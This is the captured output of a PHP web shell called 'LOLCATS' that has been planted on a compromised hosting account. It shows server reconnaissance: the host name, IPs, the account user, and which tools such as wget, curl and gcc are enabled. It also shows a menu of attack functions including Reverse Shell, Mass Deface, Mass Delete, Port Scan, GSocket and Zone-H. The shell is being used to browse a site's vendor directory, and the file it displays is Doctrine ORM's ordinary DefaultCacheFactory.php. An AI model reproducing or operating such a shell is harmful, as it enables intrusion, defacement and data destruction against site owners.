LOLCATS

: /home/lyceedesvo/www/easyadmin/vendor/doctrine/orm/lib/Doctrine/ORM/Cache/ [ drwx---r-x ]

Information Server

System: Linux webm004.cluster105.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Software: Apache
PHP Version: 8.3.31 PHP Os: Linux
Server IP: 213.186.33.16
Your IP: 216.73.216.204
User: lyceedesvo [676915] | Group: [users] [100]
Safe Mode: OFF
MYSQL: OFF | PERL: ON | PYTHON: ON | WGET: ON | CURL: ON | GCC: ON | PKEXEC: ON
Disable Function:

_dyuweyrj4,_dyuweyrj4r,dl

Command ON Config Searcher Create RDP Find Modified Time Find File Get Tools GSocket Jumping Lock File Mass Deface Mass Delete Mass Chmod Mass Change Date Port Scan Reverse Shell Upload Zone-H

: DefaultCacheFactory.php

<?php

/*
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
 * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
 * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
 * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * This software consists of voluntary contributions made by many individuals
 * and is licensed under the MIT license. For more information, see
 * <http://www.doctrine-project.org>.
 */

namespace Doctrine\ORM\Cache;

use Doctrine\Common\Cache\Cache as CacheAdapter;
use Doctrine\Common\Cache\CacheProvider;
use Doctrine\Common\Cache\MultiGetCache;
use Doctrine\ORM\Cache;
use Doctrine\ORM\Cache\Persister\Collection\NonStrictReadWriteCachedCollectionPersister;
use Doctrine\ORM\Cache\Persister\Collection\ReadOnlyCachedCollectionPersister;
use Doctrine\ORM\Cache\Persister\Collection\ReadWriteCachedCollectionPersister;
use Doctrine\ORM\Cache\Persister\Entity\NonStrictReadWriteCachedEntityPersister;
use Doctrine\ORM\Cache\Persister\Entity\ReadOnlyCachedEntityPersister;
use Doctrine\ORM\Cache\Persister\Entity\ReadWriteCachedEntityPersister;
use Doctrine\ORM\Cache\Region\DefaultMultiGetRegion;
use Doctrine\ORM\Cache\Region\DefaultRegion;
use Doctrine\ORM\Cache\Region\FileLockRegion;
use Doctrine\ORM\Cache\Region\UpdateTimestampCache;
use Doctrine\ORM\EntityManagerInterface;
use Doctrine\ORM\Mapping\ClassMetadata;
use Doctrine\ORM\Persisters\Collection\CollectionPersister;
use Doctrine\ORM\Persisters\Entity\EntityPersister;

/**
 * @since   2.5
 * @author  Fabio B. Silva <fabio.bat.silva@gmail.com>
 */
class DefaultCacheFactory implements CacheFactory
{
    /**
     * @var CacheAdapter
     */
    private $cache;

/**
     * @var \Doctrine\ORM\Cache\RegionsConfiguration
     */
    private $regionsConfig;

/**
     * @var \Doctrine\ORM\Cache\TimestampRegion|null
     */
    private $timestampRegion;

/**
     * @var \Doctrine\ORM\Cache\Region[]
     */
    private $regions = [];

/**
     * @var string|null
     */
    private $fileLockRegionDirectory;

/**
     * @param RegionsConfiguration $cacheConfig
     * @param CacheAdapter         $cache
     */
    public function __construct(RegionsConfiguration $cacheConfig, CacheAdapter $cache)
    {
        $this->cache         = $cache;
        $this->regionsConfig = $cacheConfig;
    }

/**
     * @param string $fileLockRegionDirectory
     */
    public function setFileLockRegionDirectory($fileLockRegionDirectory)
    {
        $this->fileLockRegionDirectory = (string) $fileLockRegionDirectory;
    }

/**
     * @return string
     */
    public function getFileLockRegionDirectory()
    {
        return $this->fileLockRegionDirectory;
    }

/**
     * @param \Doctrine\ORM\Cache\Region $region
     */
    public function setRegion(Region $region)
    {
        $this->regions[$region->getName()] = $region;
    }

/**
     * @param \Doctrine\ORM\Cache\TimestampRegion $region
     */
    public function setTimestampRegion(TimestampRegion $region)
    {
        $this->timestampRegion = $region;
    }

/**
     * {@inheritdoc}
     */
    public function buildCachedEntityPersister(EntityManagerInterface $em, EntityPersister $persister, ClassMetadata $metadata)
    {
        $region     = $this->getRegion($metadata->cache);
        $usage      = $metadata->cache['usage'];

if ($usage === ClassMetadata::CACHE_USAGE_READ_ONLY) {
            return new ReadOnlyCachedEntityPersister($persister, $region, $em, $metadata);
        }

if ($usage === ClassMetadata::CACHE_USAGE_NONSTRICT_READ_WRITE) {
            return new NonStrictReadWriteCachedEntityPersister($persister, $region, $em, $metadata);
        }

if ($usage === ClassMetadata::CACHE_USAGE_READ_WRITE) {
            return new ReadWriteCachedEntityPersister($persister, $region, $em, $metadata);
        }

throw new \InvalidArgumentException(sprintf("Unrecognized access strategy type [%s]", $usage));
    }

/**
     * {@inheritdoc}
     */
    public function buildCachedCollectionPersister(EntityManagerInterface $em, CollectionPersister $persister, array $mapping)
    {
        $usage      = $mapping['cache']['usage'];
        $region     = $this->getRegion($mapping['cache']);

if ($usage === ClassMetadata::CACHE_USAGE_READ_ONLY) {
            return new ReadOnlyCachedCollectionPersister($persister, $region, $em, $mapping);
        }

if ($usage === ClassMetadata::CACHE_USAGE_NONSTRICT_READ_WRITE) {
            return new NonStrictReadWriteCachedCollectionPersister($persister, $region, $em, $mapping);
        }

if ($usage === ClassMetadata::CACHE_USAGE_READ_WRITE) {
            return new ReadWriteCachedCollectionPersister($persister, $region, $em, $mapping);
        }

throw new \InvalidArgumentException(sprintf("Unrecognized access strategy type [%s]", $usage));
    }

/**
     * {@inheritdoc}
     */
    public function buildQueryCache(EntityManagerInterface $em, $regionName = null)
    {
        return new DefaultQueryCache(
            $em,
            $this->getRegion(
                [
                    'region' => $regionName ?: Cache::DEFAULT_QUERY_REGION_NAME,
                    'usage'  => ClassMetadata::CACHE_USAGE_NONSTRICT_READ_WRITE
                ]
            )
        );
    }

/**
     * {@inheritdoc}
     */
    public function buildCollectionHydrator(EntityManagerInterface $em, array $mapping)
    {
        return new DefaultCollectionHydrator($em);
    }

/**
     * {@inheritdoc}
     */
    public function buildEntityHydrator(EntityManagerInterface $em, ClassMetadata $metadata)
    {
        return new DefaultEntityHydrator($em);
    }

/**
     * {@inheritdoc}
     */
    public function getRegion(array $cache)
    {
        if (isset($this->regions[$cache['region']])) {
            return $this->regions[$cache['region']];
        }

$name         = $cache['region'];
        $cacheAdapter = $this->createRegionCache($name);
        $lifetime     = $this->regionsConfig->getLifetime($cache['region']);

$region = ($cacheAdapter instanceof MultiGetCache)
            ? new DefaultMultiGetRegion($name, $cacheAdapter, $lifetime)
            : new DefaultRegion($name, $cacheAdapter, $lifetime);

if ($cache['usage'] === ClassMetadata::CACHE_USAGE_READ_WRITE) {

if (
                '' === $this->fileLockRegionDirectory ||
                null === $this->fileLockRegionDirectory
            ) {
                throw new \LogicException(
                    'If you want to use a "READ_WRITE" cache an implementation of "Doctrine\ORM\Cache\ConcurrentRegion" is required, ' .
                    'The default implementation provided by doctrine is "Doctrine\ORM\Cache\Region\FileLockRegion" if you want to use it please provide a valid directory, DefaultCacheFactory#setFileLockRegionDirectory(). '
                );
            }

$directory = $this->fileLockRegionDirectory . DIRECTORY_SEPARATOR . $cache['region'];
            $region    = new FileLockRegion($region, $directory, $this->regionsConfig->getLockLifetime($cache['region']));
        }

return $this->regions[$cache['region']] = $region;
    }

/**
     * @param string $name
     *
     * @return CacheAdapter
     */
    private function createRegionCache($name)
    {
        $cacheAdapter = clone $this->cache;

if (!$cacheAdapter instanceof CacheProvider) {
            return $cacheAdapter;
        }

$namespace = $cacheAdapter->getNamespace();

if ('' !== $namespace) {
            $namespace .= ':';
        }

$cacheAdapter->setNamespace($namespace . $name);

return $cacheAdapter;
    }

/**
     * {@inheritdoc}
     */
    public function getTimestampRegion()
    {
        if ($this->timestampRegion === null) {
            $name     = Cache::DEFAULT_TIMESTAMP_REGION_NAME;
            $lifetime = $this->regionsConfig->getLifetime($name);

$this->timestampRegion = new UpdateTimestampCache($name, clone $this->cache, $lifetime);
        }

return $this->timestampRegion;
    }

/**
     * {@inheritdoc}
     */
    public function createCache(EntityManagerInterface $em)
    {
        return new DefaultCache($em);
    }
}

NAME	TYPE	LAST MODIFIED	SIZE	OWNER / GROUP	PERMISSIONS	ACTION
..
AssociationCacheEntry.php	f!le	2020-11-19 18:07	2.14 KB	lyceedesvo / users	-rw----r--
CacheConfiguration.php	f!le	2020-11-19 18:07	3.35 KB	lyceedesvo / users	-rw----r--
CacheEntry.php	f!le	2020-11-19 18:07	1.24 KB	lyceedesvo / users	-rw----r--
CacheException.php	f!le	2020-11-19 18:07	2.39 KB	lyceedesvo / users	-rw----r--
CacheFactory.php	f!le	2020-11-19 18:07	4.35 KB	lyceedesvo / users	-rw----r--
CacheKey.php	f!le	2020-11-19 18:07	1.41 KB	lyceedesvo / users	-rw----r--
CollectionCacheEntry.php	f!le	2020-11-19 18:07	1.93 KB	lyceedesvo / users	-rw----r--
CollectionCacheKey.php	f!le	2020-11-19 18:07	2.38 KB	lyceedesvo / users	-rw----r--
CollectionHydrator.php	f!le	2020-11-19 18:07	2.25 KB	lyceedesvo / users	-rw----r--
ConcurrentRegion.php	f!le	2020-11-19 18:07	2.3 KB	lyceedesvo / users	-rw----r--
DefaultCache.php	f!le	2020-11-19 18:07	9.93 KB	lyceedesvo / users	-rw----r--
DefaultCacheFactory.php	f!le	2020-11-19 18:07	8.67 KB	lyceedesvo / users	-rw----r--
DefaultCollectionHydrator...-.	f!le	2020-11-19 18:07	3.32 KB	lyceedesvo / users	-rw----r--
DefaultEntityHydrator.php	f!le	2020-11-19 18:07	7.2 KB	lyceedesvo / users	-rw----r--
DefaultQueryCache.php	f!le	2020-11-19 18:07	16.34 KB	lyceedesvo / users	-rw----r--
EntityCacheEntry.php	f!le	2020-11-19 18:07	2.61 KB	lyceedesvo / users	-rw----r--
EntityCacheKey.php	f!le	2020-11-19 18:07	2.02 KB	lyceedesvo / users	-rw----r--
EntityHydrator.php	f!le	2020-11-19 18:07	2.09 KB	lyceedesvo / users	-rw----r--
Lock.php	f!le	2020-11-19 18:07	1.58 KB	lyceedesvo / users	-rw----r--
LockException.php	f!le	2020-11-19 18:07	1.15 KB	lyceedesvo / users	-rw----r--
MultiGetRegion.php	f!le	2020-11-19 18:07	1.58 KB	lyceedesvo / users	-rw----r--
QueryCache.php	f!le	2020-11-19 18:07	2.12 KB	lyceedesvo / users	-rw----r--
QueryCacheEntry.php	f!le	2020-11-19 18:07	1.92 KB	lyceedesvo / users	-rw----r--
QueryCacheKey.php	f!le	2020-11-19 18:07	2.25 KB	lyceedesvo / users	-rw----r--
QueryCacheValidator.php	f!le	2020-11-19 18:07	1.42 KB	lyceedesvo / users	-rw----r--
Region.php	f!le	2020-11-19 18:07	2.93 KB	lyceedesvo / users	-rw----r--
RegionsConfiguration.php	f!le	2020-11-19 18:07	3.3 KB	lyceedesvo / users	-rw----r--
TimestampCacheEntry.php	f!le	2020-11-19 18:07	1.81 KB	lyceedesvo / users	-rw----r--
TimestampCacheKey.php	f!le	2020-11-19 18:07	1.31 KB	lyceedesvo / users	-rw----r--
TimestampQueryCacheValida...-.	f!le	2020-11-19 18:07	2.15 KB	lyceedesvo / users	-rw----r--
TimestampRegion.php	f!le	2020-11-19 18:07	1.53 KB	lyceedesvo / users	-rw----r--